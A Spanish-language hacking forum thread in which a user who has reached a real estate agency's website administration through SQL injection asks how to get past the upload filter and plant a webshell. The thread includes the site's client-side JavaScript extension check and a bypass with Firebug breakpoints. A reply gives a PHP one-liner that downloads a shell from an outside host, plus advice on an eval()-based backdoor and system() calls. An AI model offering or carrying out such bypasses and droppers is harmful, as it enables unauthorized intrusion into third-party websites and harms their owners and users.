Filtrar Uploader para subir webshell

Iniciado por nuevaorden, 26 Marzo 2010, 15:26 PM

0 Miembros y 1 Visitante están viendo este tema.

nuevaorden

Saludos,

He podido accecer a l'administración web mediante SQLi de una inmobiliaria, el tema es intento subir un fichero Shell "rc99" pero el filtro que tiene template me tira error.

He provado con poner lo normal foto.jpg.php , nada lo salta, luego con el Live Http headers he intentado si podia capturar los headers para modificarlo pero no me da nada........

Si alguien tiene alguna idea como bypasear-lo ???!!!!

El codigo fuente o porcion del mismo es este:



<div id="estadoNuevo"
         style="display: block; font-size: 11px; color: #333333"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Nueva Fotografía</strong>
      </div>

      <div id="estadoEdicion"
         style="display: none; font-size: 11px; color: #333333"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Editar Fotografía</strong>
      </div>

      <table border="0">
         <tr>
            <td valign="top" width="400px"><!--Imagen 1-->
            <div id="Img1" style="width: 400px; display: block; padding: 1.5em">
            <table border="0">
               <tr>

                  <td>
                  <div align="right">
                  <div id="Img1_KO" style="display: none"><img
                     src="./images/extension_ko.gif" alt="Fotografía Incorrecta" /></div>
                  <div id="Img1_OK" style="display: none"><img
                     src="./images/extension_ok.gif" alt="Fotografía Correcta" /></div>
                  <div style="display: inline">Fotografía:&nbsp;&nbsp;</div>
                  </div>
                  </td>

                  <td colspan="3">

                  <div style="display: inline"><input id="input_Img1"
                     name="input_Img1" type="file" size="39"
                     onChange="comprueba_extension(this.form, this.form.input_Img1.value, 1, 'Comprueba la extensión de los archivos a subir.\nSólo se pueden subir archivos con extensión:')" />
                  </div>
                  </td>
               </tr>

nuevaorden

#1
Y aqui os dejo la funcion uploader:



</script> <script language="javascript">

//Uploader
function comprueba_extension(formulario, archivo, imagen, mensaje) {
  extensiones_permitidas = new Array(".jpg");
  mierror = "";
  //if (!archivo) {
     //Si no tengo archivo, es que no se ha seleccionado un archivo en el formulario
      //mierror = "No has seleccionado ningún archivo";
  //}else{
     //recupero la extensión de este nombre de archivo
     extension = (archivo.substring(archivo.lastIndexOf("."))).toLowerCase();
     //alert (extension);
     //compruebo si la extensión está entre las permitidas
     permitida = false;
     
     for (var i = 0; i < extensiones_permitidas.length; i++) {
        if (extensiones_permitidas == extension) {
        permitida = true;
        break;
        }
     }
     if (!permitida) {
       mierror = mensaje + extensiones_permitidas.join();
      
      
      checkKO = document.getElementById('Img' + imagen + '_KO');
      checkKO.style.display = 'inline';
      
      checkOK = document.getElementById('Img' + imagen + '_OK');
      checkOK.style.display = 'none';
      
      colorInput = document.getElementById('input_Img' + imagen);
      colorInput.style.color = '#CC3300';

      oculta_btnGuardar =  document.getElementById('guardaImg' + imagen);
      oculta_btnGuardar.style.display = 'none';
      
      }else{
     
      //alert(archivo);
         //submito!
        //alert ("Todo correcto. Voy a submitir el formulario.");
        //formulario.submit();
      
      checkOK = document.getElementById('Img' + imagen + '_OK');
      checkOK.style.display = 'inline';
      
      checkKO = document.getElementById('Img' + imagen + '_KO');
      checkKO.style.display = 'none';
      
      colorInput = document.getElementById('input_Img' + imagen);
      colorInput.style.color = '#71A410';
      
      muestra_btnGuardar =  document.getElementById('guardaImg' + imagen);
      muestra_btnGuardar.style.display = 'block';
      
      nombre = document.getElementById('nomImg' + imagen);
      if (nombre.value == ''){
         archivo = document.getElementById('input_Img' + imagen);
         nombre_archivo = (archivo.value.substring(archivo.value.lastIndexOf('\\')));


         var indice = nombre_archivo.indexOf ('.jpg');
         nombre_archivo = nombre_archivo.substr (0,indice);

         var navegador = navigator.appName;
         if (navegador == "Microsoft Internet Explorer"){
            nombre_archivo = nombre_archivo.substr (1);
         }

         nombre.value = nombre_archivo;
      }
      
      
       return 1;
      }
     
  //}
  //si estoy aqui es que no se ha podido submitir
  alert (mierror);
  return 0;
}


nuevaorden

Ok muchas gracias por la ayuda, perdon si he saltado alguna norma....... y gracias por la ayuda a los newbaby.

salu2

tragantras

que clase de Uploader es ese que comprueba la validez de los archivos el propio cliente? (javascript) y no el servidor (php por ejemplo)...

Colaboraciones:
1 2

nuevaorden

salu2, es un crs de una compañia de españa, he podido saltarme la protección mediante el Firebug, poniendo un BP aquí function comprueba_extension(formulario, archivo, imagen, mensaje) {   , luego puedo modificar en el panel de la derecha la extensión de php a jpg i bingo me deja subir..... pero al pulsar luego un boton de guardar .... aix me sale un popup y me dice que no cumple con el tamaño adecuado!!!

Suiguiendo......

nuevaorden


WHK

usa un script que guarde otro script y así evitas el problema del tamaño:

Código (php) [Seleccionar]
<?php file_put_contents('shell.php'file_get_contents('http://www.miweb/shell.txt')); ?>

Después cuando lo visualizes el mismo script te va a descargar la shell y ya la hiciste.
Si no te deja bajar nada entonces pruebas con un formulario en un textarea y todo lo que le pases via post lo procesas en eval() y con eso ya puedes experimentar ver archivos con glob(), mover y copiar con move() ver phpinfo(), usar sytem() si es que te deja, etc etc y si puedes sobreescribir archivos entonces hazle un file_put_contents() con la shell en php y ya la hiciste.